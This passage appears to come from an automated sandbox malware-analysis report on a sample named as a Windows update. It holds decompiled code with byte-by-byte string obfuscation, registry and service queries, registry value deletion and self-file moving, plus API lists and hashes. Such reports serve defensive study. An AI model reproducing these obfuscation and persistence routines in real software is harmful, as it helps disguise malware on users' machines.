				_v62 = 0xce;
				_v61 = 0xc7;
				_v60 = 0xf;
				_v59 = 0x18;
				_v58 = 0xe0;
				_v57 = 0x31;
				_v56 = 0x91;
				_t180 = 0;
				do {
					 *(_t269 + _t180 + 0x5c) =  *(_t269 + _t180 + 0x5c) ^  *(_t269 + _t180 + 0x2c);
					_t180 = _t180 + 1;
				} while (_t180 < 0x1d);
				_t181 =  *0x431f34; // 0x32
				_t232 =  *0x431f38; // 0x2d2c
				 *0x431f34 = _t181 + 0x32;
				_v84 = 0x2f;
				_v83 = 0x3f;
				_v82 = 0xb5;
				_v81 = 0xfe;
				_v80 = 0xf6;
				_v79 = 0x46;
				_v78 = 0xde;
				_v77 = 0xbf;
				_v76 = 0xa3;
				_v75 = 0x8b;
				_v74 = 0xe9;
				_v73 = 0x55;
				_v72 = 0x65;
				_v71 = 0xc3;
				_v70 = 0xad;
				_v100 = 0x14;
				_v99 = 0x36;
				_v98 = 0xbd;
				_v97 = 0x74;
				_v96 = 0x6f;
				_v95 = 0x28;
				_v94 = 0x96;
				_v93 = 0x97;
				_v92 = 0xc2;
				_v91 = 0xe7;
				_v90 = 0x8a;
				_v89 = 0x14;
				_v88 = 0xa;
				_v87 = 0xab;
				_v86 = 0x53;
				_t183 = 0;
				do {
					 *((intOrPtr*)(_t269 + _t183 + 0x2c)) =  *((intOrPtr*)(_t269 + _t183 + 0x2c)) +  *((intOrPtr*)(_t269 + _t183 + 0x1c));
					 *((intOrPtr*)(_t269 + _t183 + 0x2d)) =  *((intOrPtr*)(_t269 + _t183 + 0x2d)) +  *((intOrPtr*)(_t269 + _t183 + 0x1d));
					 *((intOrPtr*)(_t269 + _t183 + 0x2e)) =  *((intOrPtr*)(_t269 + _t183 + 0x2e)) +  *((intOrPtr*)(_t269 + _t183 + 0x1e));
					 *((intOrPtr*)(_t269 + _t183 + 0x2f)) =  *((intOrPtr*)(_t269 + _t183 + 0x2f)) +  *((intOrPtr*)(_t269 + _t183 + 0x1f));
					 *((intOrPtr*)(_t269 + _t183 + 0x30)) =  *((intOrPtr*)(_t269 + _t183 + 0x30)) +  *((intOrPtr*)(_t269 + _t183 + 0x20));
					_t183 = _t183 + 5;
					_t232 = _t232 + 0x221;
				} while (_t183 < 0xf);
				_v40 = 0xd;
				_v52 = 0xd;
				 *0x431f38 = _t232;
				_v44 = 0xc4;
				_v43 = 0xd4;
				_v42 = 0x79;
				_v41 = 0xbe;
				_v39 = 0xdb;
				_v51 = 0x7b;
				_v50 = 8;
				_v49 = 0x65;
				_v48 = 0xa;
				_v47 = 0x64;
				_v56 = E0041E250(6,  &_v52,  &_v44);
				_t188 =  *0x431f38; // 0x2d2c
				_v104 = 0x41;
				_v103 = 0x63;
				_v102 = 0x74;
				_v101 = 0x69;
				_v100 = 0x76;
				_v99 = 0x65;
				_v98 = 0x5a;
				_v97 = 0x41;
				_v96 = 0;
				 *0x431f38 = _t188 + 0x3d5;
				_v108 = 0xff;
				_v112 = 0;
				_t264 = HeapAlloc(GetProcessHeap(), 8, 0xff);
				_t228 = 0x3d; // executed
				_t200 = RegOpenKeyExA(0x80000002,  &_v40, 0, 1,  &_v116); // executed
				if(_t200 != 0) {
					 *((intOrPtr*)(_t266 + 0x14)) = GetLastError();
				}
				if(RegQueryValueExA(_v112,  &_v84, 0,  &_v108, _t264,  &_v104) == 0) {
					_t204 = E00425A4D(_t228, _t264, _t266, _t264, 0x42e310);
					_t270 =  &(_t269[2]);
					if(_t204 != 0) {
						_t221 = E004259C0(_t204);
						_t270 =  &(_t270[1]);
						 *((intOrPtr*)(_t266 + 4)) = _t221;
					}
					_t205 = E00425A4D(_t228, _t264, _t266, 0, 0x42e310);
					_t271 =  &(_t270[2]);
					if(_t205 != 0) {
						_t220 = E004259C0(_t205);
						_t271 =  &(_t271[1]);
						 *((intOrPtr*)(_t266 + 8)) = _t220;
					}
					if(E00425A4D(_t228, _t264, _t266, 0, 0x42e310) != 0) {
						 *((intOrPtr*)(_t266 + 0xc)) = E004259C0(_t206);
					}
					_t228 = 0;
					 *((intOrPtr*)(_t266 + 0x10)) = 0x14;
					 *(_t266 + 0x18) = 1;
				} else {
					 *((intOrPtr*)(_t266 + 0x14)) = GetLastError();
				}
				_t166 = _t266 + 0x14; // 0x431cac
				 *((intOrPtr*)(_t266 + 0x1c)) = E0041F020(_v52, _t166);
				 *((intOrPtr*)(_t266 + 0x20)) = E0041F100(_t266,  &_v108, _t166);
				_t244 =  *0x431f2c; // 0x0
				 *0x431f2c = _t244 * 0x3b11;
				 *0x431f38 = (_t228 * 0x00000038 & _t228 & 0x00000050) *  *0x431f38 +  *0x431f30 | 0x0000005b;
				HeapFree(GetProcessHeap(), 0, _t264);
				RegCloseKey(_v128);
				return E00424873(0, _v20);
			}

0x0041f8e0
0x0041f8e3
0x0041f8e8
0x0041f8ef
0x0041f8f3
0x0041f8fb
0x0041f8ff
0x0041f905
0x0041f90d
0x0041f911
0x0041f916
0x0041f91b
0x0041f920
0x0041f925
0x0041f92a
0x0041f92f
0x0041f934
0x0041f939
0x0041f93e
0x0041f943
0x0041f948
0x0041f94d
0x0041f952
0x0041f957
0x0041f95c
0x0041f961
0x0041f965
0x0041f96a
0x0041f96f
0x0041f974
0x0041f979
0x0041f97e
0x0041f983
0x0041f988
0x0041f98c
0x0041f990
0x0041f995
0x0041f99a
0x0041f99f
0x0041f9a4
0x0041f9a9
0x0041f9ae
0x0041f9b3
0x0041f9b8
0x0041f9bd
0x0041f9c2
0x0041f9c7
0x0041f9cc
0x0041f9d0
0x0041f9d5
0x0041f9da
0x0041f9df
0x0041f9e4
0x0041f9e9
0x0041f9ee
0x0041f9f2
0x0041f9f7
0x0041f9fc
0x0041fa01
0x0041fa06
0x0041fa0b
0x0041fa10
0x0041fa14
0x0041fa16
0x0041fa20
0x0041fa24
0x0041fa25
0x0041fa2a
0x0041fa2f
0x0041fa3b
0x0041fa40
0x0041fa45
0x0041fa4a
0x0041fa4f
0x0041fa54
0x0041fa59
0x0041fa5e
0x0041fa63
0x0041fa68
0x0041fa6d
0x0041fa72
0x0041fa77
0x0041fa7c
0x0041fa80
0x0041fa85
0x0041fa8a
0x0041fa8f
0x0041fa94
0x0041fa99
0x0041fa9e
0x0041faa3
0x0041faa8
0x0041faad
0x0041fab2
0x0041fab7
0x0041fabc
0x0041fac1
0x0041fac6
0x0041facb
0x0041fad0
0x0041fad5
0x0041fae0
0x0041fae4
0x0041faec
0x0041faf4
0x0041fafc
0x0041fb04
0x0041fb18
0x0041fb1b
0x0041fb1f
0x0041fb26
0x0041fb2a
0x0041fb3c
0x0041fb43
0x0041fb48
0x0041fb4d
0x0041fb52
0x0041fb57
0x0041fb5c
0x0041fb61
0x0041fb66
0x0041fb6a
0x0041fb6f
0x0041fb79
0x0041fb7d
0x0041fbb0
0x0041fbb4
0x0041fbb9
0x0041fbbe
0x0041fbc3
0x0041fbc8
0x0041fbcc
0x0041fbd1
0x0041fbd5
0x0041fbda
0x0041fbe0
0x0041fbe8
0x0041fc10
0x0041fc12
0x0041fc14
0x0041fc22
0x0041fc26
0x0041fc26
0x0041fc48
0x0041fc57
0x0041fc5c
0x0041fc61
0x0041fc64
0x0041fc69
0x0041fc6c
0x0041fc6c
0x0041fc76
0x0041fc7b
0x0041fc80
0x0041fc83
0x0041fc88
0x0041fc8b
0x0041fc8b
0x0041fc9f
0x0041fcaa
0x0041fcaa
0x0041fcad
0x0041fcaf
0x0041fcb6
0x0041fc4a
0x0041fc4c
0x0041fc4c
0x0041fcc1
0x0041fcd5
0x0041fcdd
0x0041fce6
0x0041fd05
0x0041fd17
0x0041fd25
0x0041fd30
0x0041fd48

Strings

U, xrefs: 0041FA77
1, xrefs: 0041FA0B
{, xrefs: 0041F916
y, xrefs: 0041FB4D
Y, xrefs: 0041F920
o, xrefs: 0041FA9E
y, xrefs: 0041F983
v, xrefs: 0041FBC3
F, xrefs: 0041FA59
b, xrefs: 0041F9B3
t, xrefs: 0041FBB9
c, xrefs: 0041FBB4
d, xrefs: 0041FB6F
:, xrefs: 0041F91B
2, xrefs: 0041F96F
(, xrefs: 0041FAA3
', xrefs: 0041F934
6, xrefs: 0041FA8F
4, xrefs: 0041F939
Z, xrefs: 0041FBCC
?, xrefs: 0041FA45
/, xrefs: 0041FA40
c, xrefs: 0041F97E
", xrefs: 0041F9E4
0, xrefs: 0041F952
c, xrefs: 0041F9C7
{, xrefs: 0041FB5C
t, xrefs: 0041FA99
z, xrefs: 0041F948
/, xrefs: 0041F9A4
h, xrefs: 0041F9B8
i, xrefs: 0041FBBE

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID:
String ID: "$'$($/$/$0$1$2$4$6$:$?$F$U$Y$Z$b$c$c$c$d$h$i$o$t$t$v$y$y$z${${
API String ID: 0-1086536751
Opcode ID: b412046be1c6318884bb58681997ee504ed99bbc7bdc58cc31c50f8f500c8cb2
Instruction ID: 11e3b4fdb97899335a1116277c19ae4b67f777c444ac700ec2618231df2b17f2
Opcode Fuzzy Hash: b412046be1c6318884bb58681997ee504ed99bbc7bdc58cc31c50f8f500c8cb2
Instruction Fuzzy Hash: 9AD1492010C7C19ED322DB79984865FBFD45BA6218F485F9DF1E44B3E3D2A9810AC76B

Uniqueness

Uniqueness Score: -1.00%

Function 00415060, Relevance: 59.8, APIs: 10, Strings: 24, Instructions: 301
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 004150AB

Part of subcall function 00413AD0: SetEvent.KERNEL32(00000104,?,00000000,00000001,00415108), ref: 0041EF12
Part of subcall function 00413AD0: SetEvent.KERNEL32(00000110), ref: 0041EF20
Part of subcall function 00413AD0: SetEvent.KERNEL32(00000114), ref: 0041EF2B
Part of subcall function 00413AD0: SetEvent.KERNEL32(0000010C), ref: 0041EF36
Part of subcall function 00413AD0: SetEvent.KERNEL32(00000108), ref: 0041EF41

Part of subcall function 004120C0: ExpandEnvironmentStringsA.KERNEL32(00000006,?,00000104,00000001), ref: 004121E0
Part of subcall function 004120C0: GetFileAttributesA.KERNEL32(?), ref: 004121FF

Part of subcall function 00413DD0: Sleep.KERNEL32(0002BF20,00000000), ref: 00413E62

Part of subcall function 00412B30: ExpandEnvironmentStringsA.KERNEL32(00000006,?,00000104,00000000), ref: 00412C26
Part of subcall function 00412B30: GetLocalTime.KERNEL32(0000003C), ref: 00412C31
Part of subcall function 00412B30: CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00412C4B
Part of subcall function 00412B30: WriteFile.KERNEL32(00000000,000000E6,00000010,0000003C,00000000), ref: 00412C62
Part of subcall function 00412B30: CloseHandle.KERNEL32(00000000), ref: 00412C69

Part of subcall function 00413280: RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 00413420
Part of subcall function 00413280: RegDeleteValueA.ADVAPI32(?,?), ref: 00413451
Part of subcall function 00413280: RegCloseKey.ADVAPI32(?), ref: 0041345C
Part of subcall function 00413280: GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00413472
Part of subcall function 00413280: MoveFileExA.KERNEL32 ref: 0041348A

Part of subcall function 0041EF50: ResetEvent.KERNEL32(00000104,?,00000000,00000001,00415134), ref: 0041EF67
Part of subcall function 0041EF50: ResetEvent.KERNEL32(00000110), ref: 0041EF76
Part of subcall function 0041EF50: ResetEvent.KERNEL32(00000114), ref: 0041EF81
Part of subcall function 0041EF50: ResetEvent.KERNEL32(0000010C), ref: 0041EF8C
Part of subcall function 0041EF50: ResetEvent.KERNEL32(00000108), ref: 0041EF97

Strings

V, xrefs: 0041545D
<, xrefs: 00415204
_, xrefs: 00415504
x, xrefs: 00415465
F, xrefs: 00415240
t, xrefs: 00415238
x, xrefs: 00415183
{, xrefs: 00415163
z, xrefs: 004151BA
^, xrefs: 004151F1
h, xrefs: 00415218
x, xrefs: 00415470
', xrefs: 0041519A
m, xrefs: 004151F6
, xrefs: 004154A5
}, xrefs: 004154BE
O, xrefs: 004154DC
1, xrefs: 004154C8
D, xrefs: 00415330
:, xrefs: 0041516B
0, xrefs: 004151CA
4, xrefs: 004151A2
s, xrefs: 0041549B
Y, xrefs: 00415173

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: Event$File$Reset$CloseEnvironmentExpandModuleNameStrings$AttributesCreateDeleteHandleLocalMoveOpenSleepTimeValueWrite
String ID: $'$0$1$4$:$<$D$F$O$V$Y$^$_$h$m$s$t$x$x$x$z${$}
API String ID: 2834431147-455679219
Opcode ID: 1f6e772e3f605208dfee7bf4d0ea2b6ea15f5f842e9da9fe72f42dc6b594ce41
Instruction ID: 303c94e765967613df6afeb7444a04bb2175ba7380c9a58d85960b8bb2ad4b0c
Opcode Fuzzy Hash: 1f6e772e3f605208dfee7bf4d0ea2b6ea15f5f842e9da9fe72f42dc6b594ce41
Instruction Fuzzy Hash: 8AE1482120C7C089D33297399848BDBBFD55FE6318F584A9EE1E88B2D3C6B58149C767

Uniqueness

Uniqueness Score: -1.00%

Function 00421A20, Relevance: 49.2, APIs: 9, Strings: 19, Instructions: 219
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00421C2A
HeapAlloc.KERNEL32(00000000), ref: 00421C2D
RegOpenKeyExA.KERNELBASE(80000002,000000A2,00000000,00000001,00000000), ref: 00421C48
GetLastError.KERNEL32 ref: 00421C58
RegQueryValueExA.ADVAPI32(?,00000057,00000000,00000000,00000000,?), ref: 00421C77
GetLastError.KERNEL32 ref: 00421C81
GetProcessHeap.KERNEL32(00000000,00000000,?,00431D8C,?,?,?,?,?,00000001), ref: 00421D20
HeapFree.KERNEL32(00000000,?,?,?,?,?,00000001), ref: 00421D23
RegCloseKey.ADVAPI32(?,?,?,?,?,?,00000001), ref: 00421D2E

Strings

V, xrefs: 00421BD8
r, xrefs: 00421BDD
T, xrefs: 00421A7D
S, xrefs: 00421A95
#, xrefs: 00421AD5
N, xrefs: 00421AA9
;, xrefs: 00421B1E
W, xrefs: 00421BF4
*, xrefs: 00421AC6
s, xrefs: 00421BE2
R, xrefs: 00421BFD
u, xrefs: 00421C06
&, xrefs: 00421AE4
>, xrefs: 00421B23
), xrefs: 00421A9A
^, xrefs: 00421AE9
H, xrefs: 00421ADF
t, xrefs: 00421C0B
$, xrefs: 00421B19

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: Heap$ErrorLastProcess$AllocCloseFreeOpenQueryValue
String ID: #$$$&$)$*$;$>$H$N$R$S$T$V$W$^$r$s$t$u
API String ID: 1434707997-1823157150
Opcode ID: 6e08b74d57cc105e2010b4ea5f959d3cf0c0668fc3babe88880cece8b4c20fe2
Instruction ID: fa9cfd876d3b6e4b553c796e2fcc97387f4aba46f10f049a185be6cbd934e7b4
Opcode Fuzzy Hash: 6e08b74d57cc105e2010b4ea5f959d3cf0c0668fc3babe88880cece8b4c20fe2
Instruction Fuzzy Hash: E1A17A6110D3C19ED322DB79A884B9BBFD45FA6208F481EADF0D487393D2A5C108C76B

Uniqueness

Uniqueness Score: -1.00%

Function 0041FAD9, Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 142
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000008,000000FF,?), ref: 0041FBF0
HeapAlloc.KERNEL32(00000000), ref: 0041FBF7
RegOpenKeyExA.KERNELBASE(80000002,00000006,00000000,00000001,74784DE0), ref: 0041FC14
GetLastError.KERNEL32 ref: 0041FC24
RegQueryValueExA.ADVAPI32(?,000000E5,00000000,00000000,00000000,?), ref: 0041FC40
GetLastError.KERNEL32 ref: 0041FC4A

Strings

{, xrefs: 0041FB5C
v, xrefs: 0041FBC3
t, xrefs: 0041FBB9
Z, xrefs: 0041FBCC
y, xrefs: 0041FB4D
c, xrefs: 0041FBB4
i, xrefs: 0041FBBE
d, xrefs: 0041FB6F

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: ErrorHeapLast$AllocOpenProcessQueryValue
String ID: Z$c$d$i$t$v$y${
API String ID: 1776519057-3640894087
Opcode ID: f6d11a2ddb12440592e01084a58bb70fe86f7cf8f6f4206307d0c26f565b6ce2
Instruction ID: 17e8e7697b2e3bef17a3567bbfa0b456d59c673bdf2ae35ddef1ee050250fe48
Opcode Fuzzy Hash: f6d11a2ddb12440592e01084a58bb70fe86f7cf8f6f4206307d0c26f565b6ce2
Instruction Fuzzy Hash: 7351CF7110C3C08ED311DB689855B9BFFE5AF99708F044E6EE1C587292D7B98109CB6B

Uniqueness

Uniqueness Score: -1.00%

Function 0041F020, Relevance: 16.6, APIs: 11, Instructions: 82
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,80000000,00000000,?,?,?,?,?,?,?,0041FCCD,?,00431CAC), ref: 0041F02D
GetLastError.KERNEL32(?,?,?,?,?,?,?,0041FCCD,?,00431CAC,?,?,?,?,?,00000001), ref: 0041F039
OpenServiceA.ADVAPI32(00000000,?,00000004,00431C98,?,?,?,?,?,?,?,0041FCCD,?,00431CAC), ref: 0041F057
GetLastError.KERNEL32(?,?,?,?,?,?,?,0041FCCD,?,00431CAC,?,?,?,?,?,00000001), ref: 0041F063
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,?,0041FCCD,?,00431CAC), ref: 0041F070

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: ErrorLastOpenService$CloseHandleManager
String ID:
API String ID: 48634454-0
Opcode ID: a2892d7f7661b13cf73e8cd547c792104bc9d4b467d401adbc5d1c83def5ba12
Instruction ID: f3cf9168e74de08882df1071f672c22a0612c2c306f6c0820370a697ac743aba
Opcode Fuzzy Hash: a2892d7f7661b13cf73e8cd547c792104bc9d4b467d401adbc5d1c83def5ba12
Instruction Fuzzy Hash: 27217C36701220ABD321AB69DC49B9F7BE4EFD9750F80442AFA41D7350D7B09847CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 0041EFA0, Relevance: 10.5, APIs: 7, Instructions: 41
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,80000000,00431C98,0042051B,?,00431CEC), ref: 0041EFAA
GetLastError.KERNEL32 ref: 0041EFB6
OpenServiceA.ADVAPI32(00000000,000000EF,00000004), ref: 0041EFD0
GetLastError.KERNEL32 ref: 0041EFDA
CloseServiceHandle.ADVAPI32(00000000), ref: 0041EFE7

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: ErrorLastOpenService$CloseHandleManager
String ID:
API String ID: 48634454-0
Opcode ID: 3f7bc6f18e424998c14db061a0019771ee9b78516ee7a0c5797ab8af1a1bb4e5
Instruction ID: 89dee9bad4ab5eec4a1989d4adc2e41a6cfd6003cc042db67122dc7d02015971
Opcode Fuzzy Hash: 3f7bc6f18e424998c14db061a0019771ee9b78516ee7a0c5797ab8af1a1bb4e5
Instruction Fuzzy Hash: BEF03136205220AFD361AB66DC08F8BB7E4EFA5350F518426FA409B250C7B49843CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00429190, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 13libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(mscoree.dll,004292FE,?,0042EAB8,00000008,00429335,?,00000001,00000000,00426648,00000003), ref: 00429195
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 004291A5
ExitProcess.KERNEL32 ref: 004291B9

Strings

CorExitProcess, xrefs: 0042919F
mscoree.dll, xrefs: 00429190

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: AddressExitHandleModuleProcProcess
String ID: CorExitProcess$mscoree.dll
API String ID: 75539706-1276376045
Opcode ID: 8c2fa50a3ec66fd577a0b8e8636169e5e6d711be195023716ce747e76f4f0db8
Instruction ID: 837725cd5bd8d62ceb7a805311689d2544094357cd19b3e86fc30850f48944c8
Opcode Fuzzy Hash: 8c2fa50a3ec66fd577a0b8e8636169e5e6d711be195023716ce747e76f4f0db8
Instruction Fuzzy Hash: BBD0E730344321EBE6111B73ED1D77B7A65BF41B41B944439B845D0160DB75CC21991D

Uniqueness

Uniqueness Score: -1.00%

Function 004122F0, Relevance: 7.6, APIs: 5, Instructions: 52fileCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000), ref: 0041230F
CreateFileA.KERNELBASE(?,80000000,00000003,00000000,00000003,00000000,00000000), ref: 00412329
SetFilePointer.KERNELBASE(00000000,000000FC,00000000,00000002), ref: 00412353
ReadFile.KERNELBASE ref: 00412370
CloseHandle.KERNEL32(00000000), ref: 00412377

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: File$CloseCreateHandleModuleNamePointerRead
String ID:
API String ID: 1352878660-0
Opcode ID: 287adf819acc85caeaf54933d95270eb436911dfc7abba11b07640b1e6699bc0
Instruction ID: c542780b36d63bd1f74abcbd7efe17dbbb97c44db4b19d55b56e5dd6763cd24b
Opcode Fuzzy Hash: 287adf819acc85caeaf54933d95270eb436911dfc7abba11b07640b1e6699bc0
Instruction Fuzzy Hash: 0C11A171644360ABE324EB65EC46FEA33A8BB89710F800929F761961D0D7F45644CB9B

Uniqueness

Uniqueness Score: -1.00%

Function 0041F100, Relevance: 7.5, APIs: 5, Instructions: 35synchronizationCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00431E18,00000000,00000000,00431CAC,00431C98,0041FCDD,?,00431CAC,?,00431CAC,?,?,?,?,?,00000001), ref: 0041F111
GetLastError.KERNEL32(?,?,?,?,?,00000001), ref: 0041F11D
WaitForSingleObject.KERNEL32(00000000,000003E8,?,?,?,?,?,00000001), ref: 0041F135
CloseHandle.KERNEL32(00000000,?,?,?,?,?,00000001), ref: 0041F140

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: CloseCreateErrorEventHandleLastObjectSingleWait
String ID:
API String ID: 5396149-0
Opcode ID: 7fabdc887b76636cf33a9a3860f0f978fa08689d0529247d9dc893de2f94b650
Instruction ID: 41ec93761c571e6fbe91694ad29752271d04f397154ed630bd7477d7537eb11e
Opcode Fuzzy Hash: 7fabdc887b76636cf33a9a3860f0f978fa08689d0529247d9dc893de2f94b650
Instruction Fuzzy Hash: 1CF01D35344220AFD3619F65DC48BABB7A4EF56311F018836FD458B390CB74AC52CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0042AF1A, Relevance: 3.1, APIs: 2, Instructions: 59memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 0042AF5E
RtlAllocateHeap.NTDLL(00000008,?,0042EF98,00000010,00426F90,00000001,0000008C,?,004255E1,00000004,0042E528,0000000C,004274A4,00000000,?,0042720A), ref: 0042AF9C

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: AllocateHeap__lock
String ID:
API String ID: 4078605025-0
Opcode ID: bd24daad17681a19d2b014adf4f8bfe4562b9c33865ce1b7ebc598e034fb271d
Instruction ID: 287c9efcd211aeb55b69a7f4505186ca400c7f0f4e30738a009fff649b6f2cdc
Opcode Fuzzy Hash: bd24daad17681a19d2b014adf4f8bfe4562b9c33865ce1b7ebc598e034fb271d
Instruction Fuzzy Hash: A111B972B006359BCB21EB267E0169EB661AF50725F97011BFC14273D1D73C49518B5E

Uniqueness

Uniqueness Score: -1.00%

Function 0042630D, Relevance: 3.0, APIs: 2, Instructions: 34memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 0042632F

Part of subcall function 0042758B: EnterCriticalSection.KERNEL32(?,?,?,004255E1,00000004,0042E528,0000000C,004274A4,00000000,?,0042720A,?,0042E598,00000060), ref: 004275B3

RtlAllocateHeap.NTDLL(00000000,?,0042E5A8,0000000C,00426398,000000E0,004263C3,?,0042750E,00000018,0042E878,00000008,004275A4,?,?), ref: 00426370

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: AllocateCriticalEnterHeapSection__lock
String ID:
API String ID: 409319249-0
